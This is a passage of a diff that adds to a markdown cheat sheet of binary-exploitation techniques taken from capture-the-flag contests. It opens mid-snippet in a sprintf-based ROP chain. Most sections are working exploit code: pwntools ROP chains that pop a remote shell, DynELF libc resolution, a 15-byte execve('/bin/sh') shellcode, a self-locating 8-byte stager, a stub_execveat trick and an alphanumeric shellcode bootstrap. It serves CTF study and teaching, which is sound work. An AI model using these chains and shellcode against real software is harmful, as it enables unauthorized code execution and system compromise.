|
|
380
|
+
if exe_data[i] == c and not has_bad_chars(p32(addr)):
|
|
381
|
+
byte_addrs[c] = addr
|
|
382
|
+
break
|
|
383
|
+
|
|
384
|
+
# Step 2: Chain sprintf(bss_dest, byte_addr) for each shellcode byte
|
|
385
|
+
rop = b''
|
|
386
|
+
for i, byte in enumerate(shellcode):
|
|
387
|
+
rop += p32(sprintf_plt)
|
|
388
|
+
rop += p32(pop3ret) # Clean 3 args
|
|
389
|
+
rop += p32(bss_addr + i) # Destination
|
|
390
|
+
rop += p32(byte_addrs[byte]) # Source (1 byte + null terminator)
|
|
391
|
+
rop += p32(0) # Unused arg
|
|
392
|
+
|
|
393
|
+
# Step 3: Jump to assembled shellcode on BSS
|
|
394
|
+
rop += p32(bss_addr)
|
|
395
|
+
```
|
|
396
|
+
|
|
397
|
+
**Key insight:** `sprintf(dst, src)` copies bytes until a null terminator — effectively a single-byte copy when `src` points to a byte followed by `\x00`. Each call in the ROP chain places one shellcode byte. The source addresses come from the binary's own `.text`/`.rodata` sections. Requires a `pop3ret` gadget for stack cleanup between calls.
|
|
398
|
+
|
|
399
|
+
---
|
|
400
|
+
|
|
401
|
+
## DynELF Automated Libc Discovery (RC3 CTF 2016)
|
|
402
|
+
|
|
403
|
+
When the remote libc version is unknown, use pwntools' `DynELF` to resolve function addresses at runtime by leaking memory through a format string or read primitive.
|
|
404
|
+
|
|
405
|
+
```python
|
|
406
|
+
from pwn import *
|
|
407
|
+
|
|
408
|
+
elf = ELF('./target')
|
|
409
|
+
io = remote('target.ctf', 1337)
|
|
410
|
+
|
|
411
|
+
# Define a leak function that reads memory at a given address
|
|
412
|
+
def leak(addr):
|
|
413
|
+
payload = b'A' * offset
|
|
414
|
+
payload += p64(elf.plt['printf']) # call printf to leak
|
|
415
|
+
payload += p64(main_addr) # return to main for next leak
|
|
416
|
+
payload += p64(addr) # argument: address to read
|
|
417
|
+
io.sendline(payload)
|
|
418
|
+
data = io.recvuntil(b'prompt', drop=True)
|
|
419
|
+
return data
|
|
420
|
+
|
|
421
|
+
# DynELF resolves symbols by parsing ELF structures in memory
|
|
422
|
+
d = DynELF(leak, elf=elf)
|
|
423
|
+
system_addr = d.lookup('system', 'libc')
|
|
424
|
+
binsh_addr = d.lookup(None, 'libc') # search for "/bin/sh" string
|
|
425
|
+
|
|
426
|
+
log.success(f"system @ {hex(system_addr)}")
|
|
427
|
+
|
|
428
|
+
# Build final ROP chain with resolved addresses
|
|
429
|
+
payload = b'A' * offset
|
|
430
|
+
payload += p64(pop_rdi_ret)
|
|
431
|
+
payload += p64(binsh_addr)
|
|
432
|
+
payload += p64(system_addr)
|
|
433
|
+
io.sendline(payload)
|
|
434
|
+
io.interactive()
|
|
435
|
+
```
|
|
436
|
+
|
|
437
|
+
**Key insight:** DynELF parses the remote ELF's `.dynamic` section, link map, and symbol tables to resolve any libc function without knowing the libc version. Requires a reliable memory read primitive (leak function) that can read arbitrary addresses.
|
|
438
|
+
|
|
439
|
+
---
|
|
440
|
+
|
|
441
|
+
## Constrained Shellcode in Small Buffers (TUM CTF 2016)
|
|
442
|
+
|
|
443
|
+
When shellcode space is severely limited (e.g., 15-16 bytes due to AES block size), use minimal register setup and avoid unnecessary instructions.
|
|
444
|
+
|
|
445
|
+
```asm
|
|
446
|
+
; 15-byte execve("/bin/sh") shellcode for x86-64
|
|
447
|
+
; Assumes: rsp points to writable area, "/bin/sh\0" follows shellcode on stack
|
|
448
|
+
; Written in fasm syntax:
|
|
449
|
+
|
|
450
|
+
lea rdi, [rsp + 0x19] ; 4 bytes - pointer to "/bin/sh" on stack
|
|
451
|
+
cdq ; 1 byte - rdx = 0 (envp = NULL)
|
|
452
|
+
push rdx ; 1 byte - NULL terminator for argv
|
|
453
|
+
push rdi ; 1 byte - argv[0] = "/bin/sh"
|
|
454
|
+
push rsp ; 1 byte
|
|
455
|
+
pop rsi ; 1 byte - rsi = argv = {"/bin/sh", NULL}
|
|
456
|
+
push 0x3b ; 2 bytes - syscall number for execve
|
|
457
|
+
pop rax ; 1 byte - rax = 59
|
|
458
|
+
syscall ; 2 bytes - execve("/bin/sh", argv, NULL)
|
|
459
|
+
; Total: 15 bytes
|
|
460
|
+
|
|
461
|
+
; When AES-CBC is involved, craft IV to XOR-decrypt shellcode block:
|
|
462
|
+
; crafted_iv = AES_decrypt(known_ciphertext) XOR shellcode
|
|
463
|
+
```
|
|
464
|
+
|
|
465
|
+
**Key insight:** The `cdq` instruction (1 byte) zero-extends eax into edx, and `push reg; pop reg` pairs (2 bytes) replace `mov` (3 bytes). For AES-block-constrained shellcode, compute the IV that decrypts to your shellcode by XORing `AES_decrypt(ciphertext_block)` with the desired shellcode.
|
|
466
|
+
|
|
467
|
+
---
|
|
468
|
+
|
|
469
|
+
## Stack Canary XOR Epilogue as RDX Zeroing Gadget (VolgaCTF 2017)
|
|
470
|
+
|
|
471
|
+
**When to use:** Need `rdx = 0` for `execve(path, argv, NULL)` but no `pop rdx; ret` gadget exists in the binary. The canary verification epilogue `xor rdx, fs:28h` zeros RDX when the canary is intact.
|
|
472
|
+
|
|
473
|
+
```python
|
|
474
|
+
from pwn import *
|
|
475
|
+
|
|
476
|
+
# Canary check epilogue (found in most binaries):
|
|
477
|
+
# mov rdx, [rsp+8] ; load canary from stack
|
|
478
|
+
# xor rdx, fs:28h ; XOR with stored canary → 0 if intact
|
|
479
|
+
# Jump into this code as a "gadget" to zero RDX
|
|
480
|
+
|
|
481
|
+
# Find the canary check sequence in the binary
|
|
482
|
+
canary_xor_gadget = next(binary.search(asm(
|
|
483
|
+
"mov rdx, [rsp+8]; xor rdx, qword ptr fs:[0x28]"
|
|
484
|
+
)))
|
|
485
|
+
# Side effect: harmless write of je result, rdx = 0 for execve(path, argv, NULL)
|
|
486
|
+
|
|
487
|
+
# Use in ROP chain:
|
|
488
|
+
rop = flat(
|
|
489
|
+
pop_rdi, binsh_addr, # rdi = "/bin/sh"
|
|
490
|
+
pop_rsi, 0, # rsi = NULL (argv)
|
|
491
|
+
canary_xor_gadget, # rdx = canary ^ fs:28h = 0
|
|
492
|
+
execve_addr, # execve("/bin/sh", NULL, NULL)
|
|
493
|
+
)
|
|
494
|
+
```
|
|
495
|
+
|
|
496
|
+
**Key insight:** The stack canary check `xor rdx, fs:28h` produces `rdx=0` when the canary is correct. Jump into this epilogue as a gadget when `pop rdx` is unavailable -- it provides a reliable zero-rdx primitive with only a benign byte-write side effect. This works because the canary on the stack matches `fs:28h`, so the XOR result is always zero in a non-corrupted frame.
|
|
497
|
+
|
|
498
|
+
**When to recognize:** ROP chain needs `rdx=0` (common for `execve` third argument) but the binary lacks `pop rdx; ret` or `pop rdx; pop rbx; ret`. Search for `xor rdx, qword ptr fs:` in the binary's disassembly -- it appears in every function with a stack canary.
|
|
499
|
+
|
|
500
|
+
**References:** VolgaCTF 2017
|
|
501
|
+
|
|
502
|
+
---
|
|
503
|
+
|
|
504
|
+
## Minimal Shellcode with Pre-Initialized Registers (Square CTF 2017)
|
|
505
|
+
|
|
506
|
+
**Pattern:** When the shellcode entry point has registers already initialized to useful values (e.g., `eax=4` for the `write` syscall on x86-32, `ebx=1` for stdout), exploit them to dramatically reduce shellcode size. Always audit register state at entry before writing shellcode from scratch.
|
|
507
|
+
|
|
508
|
+
**Example (x86-32 write syscall, entry: eax=4, ebx=1):**
|
|
509
|
+
```asm
|
|
510
|
+
; Entry state: eax=4 (sys_write), ebx=1 (stdout fd)
|
|
511
|
+
; Goal: write flag buffer to stdout — only need ecx and edx
|
|
512
|
+
|
|
513
|
+
; 3-byte: point ecx at the flag buffer
|
|
514
|
+
lea ecx, [edi + flag_offset] ; 3 bytes (if offset fits in 1 byte)
|
|
515
|
+
|
|
516
|
+
; 2-byte: set edx (byte count)
|
|
517
|
+
mov dl, 64 ; 2 bytes
|
|
518
|
+
|
|
519
|
+
; 2-byte: trigger syscall
|
|
520
|
+
int 0x80 ; 2 bytes
|
|
521
|
+
|
|
522
|
+
; Total: 7 bytes — or as few as 5 if edx is already set
|
|
523
|
+
```
|
|
524
|
+
|
|
525
|
+
**Workflow:**
|
|
526
|
+
```python
|
|
527
|
+
# 1. Run the binary in gdb, break right before shellcode is executed
|
|
528
|
+
# 2. Inspect all registers: info registers
|
|
529
|
+
# 3. Identify which syscall arguments are already set
|
|
530
|
+
# 4. Write only the instructions needed to fill missing arguments
|
|
531
|
+
|
|
532
|
+
# Useful pre-initialized patterns:
|
|
533
|
+
# - eax = syscall number already set by caller
|
|
534
|
+
# - ebx = fd (stdin=0, stdout=1) from prior open/setup
|
|
535
|
+
# - rdi, rsi from calling convention leakage
|
|
536
|
+
# - rsp pointing into a writable region (for push-based addressing)
|
|
537
|
+
```
|
|
538
|
+
|
|
539
|
+
**Key insight:** Always audit entry register values before writing shellcode — pre-loaded syscall numbers and fd values can reduce shellcode to under 6 bytes. The smallest possible shellcode exploits the ABI calling convention residue left by the surrounding code.
|
|
540
|
+
|
|
541
|
+
**References:** Square CTF 2017
|
|
542
|
+
|
|
543
|
+
---
|
|
544
|
+
|
|
545
|
+
## Unique-Byte Shellcode via syscall RIP to RCX (HITCON 2017)
|
|
546
|
+
|
|
547
|
+
**Pattern:** x86-64 `syscall` instruction saves `RIP` (next instruction address) into `RCX` as a side effect. An 8-byte stager exploits this: execute `syscall` (which also triggers a `read` with pre-set registers), then use `rcx` (now = address of the instruction after `syscall`) as the address for reading the full shellcode to the same RWX location. All 8 bytes of the stager must be unique (no repeated bytes).
|
|
548
|
+
|
|
549
|
+
**8-byte stager construction:**
|
|
550
|
+
```asm
|
|
551
|
+
; Entry constraints: rax=0 (read), rdi=0 (stdin), rsi=shellcode_buf, rdx=8 (small)
|
|
552
|
+
; Side effect of syscall: rcx = RIP (address of next instruction after syscall)
|
|
553
|
+
|
|
554
|
+
syscall ; 2 bytes: 0f 05 — executes read(0, shellcode_buf, 8)
|
|
555
|
+
; and sets rcx = &next_instr (= shellcode_buf + 2)
|
|
556
|
+
push rcx ; 1 byte: 51 — stack = [shellcode_buf + 2]
|
|
557
|
+
pop rsi ; 1 byte: 5e — rsi = shellcode_buf + 2 (where full shellcode goes)
|
|
558
|
+
xor edx, edx ; 2 bytes: 31 d2 — clear rdx
|
|
559
|
+
mov dl, 100 ; 2 bytes: b2 64 — rdx = 100 (read size for stage 2)
|
|
560
|
+
; Back to syscall (loop): the push/pop sequence ends up jumping to syscall again
|
|
561
|
+
; ... or arrange entry so the next syscall reads 100 bytes to rsi
|
|
562
|
+
```
|
|
563
|
+
|
|
564
|
+
**Uniqueness constraint:**
|
|
565
|
+
```python
|
|
566
|
+
# All 8 bytes must be distinct (challenge-specific filter)
|
|
567
|
+
# Candidate sequence: 0f 05 51 5e 31 d2 b2 64 — all unique
|
|
568
|
+
# Verify: len(set(bytes)) == len(bytes)
|
|
569
|
+
stager = bytes([0x0f, 0x05, 0x51, 0x5e, 0x31, 0xd2, 0xb2, 0x64])
|
|
570
|
+
assert len(set(stager)) == len(stager) # passes
|
|
571
|
+
|
|
572
|
+
# Stage 2: full execve shellcode sent to stdin after stager runs first syscall
|
|
573
|
+
from pwn import *
|
|
574
|
+
p.send(stager)
|
|
575
|
+
p.send(asm(shellcraft.sh()))
|
|
576
|
+
```
|
|
577
|
+
|
|
578
|
+
**Key insight:** x86-64 `syscall` copies RIP to RCX — weaponize this as position-independent address discovery for tiny shellcode stagers. The stager needs no hardcoded addresses: it calculates its own location via the `syscall` side effect, then uses that address as the destination for reading the full payload.
|
|
579
|
+
|
|
580
|
+
**References:** HITCON CTF 2017
|
|
581
|
+
|
|
582
|
+
---
|
|
583
|
+
|
|
584
|
+
## stub_execveat Syscall as execve Alternative (ASIS CTF 2018)
|
|
585
|
+
|
|
586
|
+
**Pattern:** In a tiny binary with only `read` syscall and no `pop rax` gadget, use `stub_execveat` (syscall 0x142/322) instead of `execve` (0x3b). Since `read()` returns bytes-read in `rax`, make total input length exactly 0x142 bytes so `rax=0x142` when the syscall gadget fires.
|
|
587
|
+
|
|
588
|
+
**Why this works:**
|
|
589
|
+
1. The binary is tiny -- only `read` and basic gadgets, no `pop rax; ret`
|
|
590
|
+
2. `execve` requires `rax=0x3b` (59), but without `pop rax` there's no way to set it
|
|
591
|
+
3. `read()` returns the number of bytes read in `rax` -- this is the only rax control
|
|
592
|
+
4. `stub_execveat` (syscall 322 = 0x142) accepts the same arguments as `execve` when `AT_FDCWD` is used for the directory fd
|
|
593
|
+
5. Send exactly 0x142 bytes so `read()` returns 0x142, then hit `syscall`
|
|
594
|
+
|
|
595
|
+
```python
|
|
596
|
+
from pwn import *
|
|
597
|
+
|
|
598
|
+
# Binary gadgets (tiny static binary)
|
|
599
|
+
xor_rdx_syscall = 0x4000ed # xor rdx, rdx; syscall
|
|
600
|
+
syscall_gadget = 0x400101 # syscall
|
|
601
|
+
|
|
602
|
+
# Build payload: /bin/sh string + padding + ROP chain
|
|
603
|
+
# Total length must be exactly 0x142 bytes
|
|
604
|
+
payload = b"/bin/sh\x00" # rdi points here
|
|
605
|
+
payload += b"B" * (0x148 - (8*4) - 8) # padding to ROP area
|
|
606
|
+
payload += p64(xor_rdx_syscall) # xor rdx, rdx; syscall
|
|
607
|
+
payload += p64(syscall_gadget) # syscall (rax=0x142 from read)
|
|
608
|
+
payload += b"A" * (0x142 - len(payload) - 1) # pad to exactly 0x142 bytes
|
|
609
|
+
# rax = 0x142 from read() return value = stub_execveat syscall number
|
|
610
|
+
|
|
611
|
+
io = remote('target', 1337)
|
|
612
|
+
io.send(payload)
|
|
613
|
+
io.interactive()
|
|
614
|
+
```
|
|
615
|
+
|
|
616
|
+
**Key insight:** `stub_execveat` (syscall 322/0x142) accepts the same arguments as execve when `AT_FDCWD` is used, but its higher syscall number can be reached via `read()` return value when `pop rax; ret` gadgets are unavailable. Always check if alternative syscalls with equivalent functionality have numbers reachable through return values or other implicit register control.
|
|
617
|
+
|
|
618
|
+
**References:** ASIS CTF 2018
|
|
619
|
+
|
|
620
|
+
---
|
|
621
|
+
|
|
622
|
+
## Alphanumeric Shellcode Bootstrap via push/pop When rax=0 (nullcon HackIM 2019)
|
|
623
|
+
|
|
624
|
+
**Pattern (easy-shell):** RWX page receives attacker shellcode but every byte must be alphanumeric (`[0-9A-Za-z]`). Tools like [basic-amd64-alphanumeric-shellcode-encoder](https://github.com/veritas501/basic-amd64-alphanumeric-shellcode-encoder) emit self-decoding stubs but require `rax + padding_len == shellcode_address` at entry. When the harness enters with `rax = 0` (not anywhere near the shellcode) the encoder has nothing to land on. Prepend a tiny 3-byte non-alnum-but-accepted seed — `push r12; pop rax` — so `rax` becomes a live stack/code pointer, then call the encoder with `padding_len=3`.
|
|
625
|
+
|
|
626
|
+
```python
|
|
627
|
+
from pwn import *
|
|
628
|
+
context(arch='amd64')
|
|
629
|
+
|
|
630
|
+
file_name = "flag".ljust(8, '\x00')
|
|
631
|
+
sc = '''
|
|
632
|
+
mov rax, %s
|
|
633
|
+
push rax
|
|
634
|
+
mov rdi, rsp
|
|
635
|
+
mov rax, 2 /* open(rsp, 0) */
|
|
636
|
+
mov rsi, 0
|
|
637
|
+
syscall
|
|
638
|
+
mov rdi, rax
|
|
639
|
+
sub rsp, 0x20
|
|
640
|
+
mov rsi, rsp
|
|
641
|
+
mov rdx, 0x20
|
|
642
|
+
mov rax, 0 /* read(fd, rsp, 0x20) */
|
|
643
|
+
syscall
|
|
644
|
+
mov rdi, 0
|
|
645
|
+
mov rsi, rsp
|
|
646
|
+
mov rdx, 0x20
|
|
647
|
+
mov rax, 1 /* write(1, rsp, 0x20) */
|
|
648
|
+
syscall
|
|
649
|
+
''' % hex(u64(file_name))
|
|
650
|
+
sc = asm(sc)
|
|
651
|
+
|
|
652
|
+
# push r12 (0x41 0x54) + pop rax (0x58) = 3 bytes, all happen to be alnum-safe
|
|
653
|
+
bootstrap = asm("push r12; pop rax;")
|
|
654
|
+
payload = bootstrap + alphanum_encoder(sc, 3)
|
|
655
|
+
```
|
|
656
|
+
|
|
657
|
+
**Key insight:** Alphanumeric-only decoders typically need `rax` to point at (or a fixed offset before) the payload. If the harness zeroes `rax`, seed it from *any* volatile register that already holds a valid address — `r12` is routinely `_start` on Linux, and `push r12; pop rax` happens to be `AT X` (0x41 0x54 0x58), which the encoder's input filter treats as benign. Adjust the encoder's `padding_len` argument to exactly match the prepended byte count so the decode math still lines up.
|
|
658
|
+
|
|
659
|
+
**References:** nullcon HackIM 2019 — easy-shell, writeups 13048, 13203
|